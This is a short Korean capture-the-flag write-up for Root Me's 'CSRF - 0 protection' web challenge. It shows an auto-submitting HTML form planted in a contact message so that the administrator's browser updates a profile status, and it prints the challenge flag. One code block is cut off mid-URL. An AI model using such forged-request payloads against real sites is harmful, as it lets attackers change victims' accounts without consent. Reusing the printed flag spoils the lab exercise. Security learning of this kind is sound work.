

# Root Me CSRF - 0 protection 재제출

[Contact](#) | [Profile](#) | [Private](#) | [Logout](#)

---

Update Profile

Username:

Status: ☐

우선 똑같이 회원가입 후 로그인을 진행한다.

Contact

Comment

```
<form id="csrf" action="http://challenge01.root-me.org/web-client/ch22/?action=profile" method="post"
enctype="multipart/form-data">
    <input type="text" name="username"
value="aaa">
    <input type="checkbox" name="status" checked="">
</form>
```

Your message has been posted. The administrator will contact you later.

Contact

Comment

```
current/ch22/?action=profile" method="post"
enctype="multipart/form-data">
<input type="hidden" name="username" value="aaa">
<input type="hidden" name="status" value="on">
</form>
<script>
document.getElementById("csrf").submit();
</script>
```

다른 라이트업들을 읽어보니 코드 중 name="status" 후 checked가 아닌 value=on을 써야 한다고

한다. 이렇게 입력하고 submit 한다.

[Contact](#) | [Profile](#) | [Private](#) | [Logout](#)

Good job dude, flag is : CsrF\_Fr33style-L3v3l1!

이렇게 플래그를 구할 수 있다. 플래그는 **CsrF\_Fr33style-L3v3l1!** 이다.